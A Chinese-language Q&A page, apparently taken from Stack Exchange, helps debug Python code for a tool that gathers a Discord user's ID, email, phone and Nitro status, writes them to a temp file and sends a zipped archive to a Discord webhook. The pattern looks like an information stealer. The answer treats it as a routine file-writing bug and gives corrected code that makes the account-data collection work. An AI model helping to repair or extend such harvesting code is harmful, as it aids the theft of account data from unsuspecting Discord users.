求助:代码片段无法生成tempfile且Discord信息未写入文件
问题分析与解决建议
你开发的工具可将压缩文件发送至Discord webhook,但压缩包内的Discord信息文件缺少预期内容,以下是针对你提供的代码片段的问题排查和修复方案:
问题代码片段
val += f'Discord ID: {discord_id}\nEmail: {email}\nPhone: {phone}\nNitro: {nitro}\n' if True: dcvault = create_temp() with open(os.path.join(tempfolder, "Discord", "Discord Info.txt"), "a", encoding="utf-8") as f: f.write(f'{val}') os.remove(dcvault)
可能的问题点
val变量未初始化:使用+=拼接字符串前,若val未被初始化为空字符串,会导致变量未定义或拼接异常,无法写入有效内容。- 核心数据变量为空:
discord_id、email、phone、nitro这些变量如果未正确获取到Discord账户信息,本身为空或未赋值,写入的内容自然无有效数据。 - 目标目录不存在:
os.path.join(tempfolder, "Discord")对应的目录如果不存在,open函数在"a"模式下不会自动创建目录,可能抛出异常(若未捕获则会中断写入流程),导致文件未被创建或写入。 - 无关代码干扰:
create_temp()和os.remove(dcvault)的逻辑与当前文件写入操作无关,可能干扰文件保存流程,甚至导致临时文件相关的异常。
修复方案
# 初始化val变量,避免拼接异常 val = "" val += f'Discord ID: {discord_id}\nEmail: {email}\nPhone: {phone}\nNitro: {nitro}\n' # 确保目标目录存在,避免路径错误 discord_target_dir = os.path.join(tempfolder, "Discord") os.makedirs(discord_target_dir, exist_ok=True) # 写入文件 target_file = os.path.join(discord_target_dir, "Discord Info.txt") with open(target_file, "a", encoding="utf-8") as f: f.write(val) # 若dcvault与当前写入逻辑无关,可注释或移除以下代码 # dcvault = create_temp() # os.remove(dcvault)
额外建议:在写入前可打印val的值,确认discord_id等变量已正确获取到数据,排除数据来源的问题。
内容的提问来源于stack exchange,提问作者pamp
相关产品推荐
相关产品推荐

